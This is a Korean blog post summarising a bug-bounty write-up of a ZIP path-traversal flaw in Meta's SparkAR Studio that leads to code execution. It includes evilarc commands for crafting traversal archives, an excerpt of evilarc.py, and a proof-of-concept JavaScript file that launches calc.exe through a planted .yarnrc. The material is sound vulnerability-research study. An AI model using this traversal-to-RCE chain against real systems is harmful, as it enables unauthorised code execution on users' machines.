카테고리 없음

Meta's SparkAR RCE Via ZIP Path Traversal 정리

ch4rli3kop 2022. 4. 18. 17:57
반응형

Original Link : https://blog.fadyothman.com/metas-sparkar/?fbclid=IwAR0j7bwW138TIsMBs9B1odzQBwFNPp6iTar3JcPJBheaoG93u_RcT80rjBw

Target : [Meta]SparkAR Studio

Summary : arprojpkg 확장자를 대상으로 Path Traversal 취약점을 찾고, RCE 까지 가는 과정

Details

arprojpkg 파일은 다음과 같음.

내부의 PassTheObject.arproj이 실제로 로컬 디스크 상에 써지는지 확인

Path Traversal 테스팅을 위해 evilarc를 이용하여 악성 zip 파일 생성

$ evilarc.py -d 8 -f 1.zip test.txt
 
 

evilarc.py 코드는 다음과 같음. 그냥 파일이름에 ..\\ 를 붙여서 PK 압축파일을 생성하는 정도임.

...
if options.platform == "win":
		dir = "..\\"
		if options.path and options.path[-1] != '\\':
			options.path += '\\'
	else:
		dir = "../"
		if options.path and options.path[-1] != '/':
			options.path += '/'

	zpath = dir*options.depth+options.path+os.path.basename(fname)
	print "Creating " + options.out + " containing " + zpath;	
	ext = os.path.splitext(options.out)[1]
...
 
 

Zip 파일의 확장자를 arprojpkg로 변경하여 테스트 후 Home 디렉토리에 test.txt 파일이 생성되는 것을 확인

exploit 과정

일반적으로 DLL을 덮어씌워 hijacking을 시도하나, 이 경우 사용자 홈 디렉토리에 밖에 파일을 생성하지 못함. Program FilesC:\\ 디렉토리는 privileged 해서 파일 생성이 불가능

내부적으로 nodejs.exe를 호출하여 js 파일을 실행시키는 것을 확인하여 js 파일을 덮어쓰려 했으나 덮어쓰기가 불가능

내부적으로 nodejs가 .yarnrc 파일 로드를 시도하는 것을 발견

다음과 같은 test.js 를 포함한 zip을 포함한 yarnrc 생성

const { exec} = require('child_process');
const child = exec('calc.exe', []);
console.log('error', child.error);
console.log('stdout ', child.stdout);
console.log('stderr ', child.stderr);
 
 
evilarc.py -d 10 --path=Users\\Public -f 1.zip test.js
evilarc.py -d 8 -f 1.zip .yarnrc
 
 
 

내 생각

nodejs 프로세스를 이용해서 RCE 까지 가는 아이디어는 기억해둬야겟음.

반응형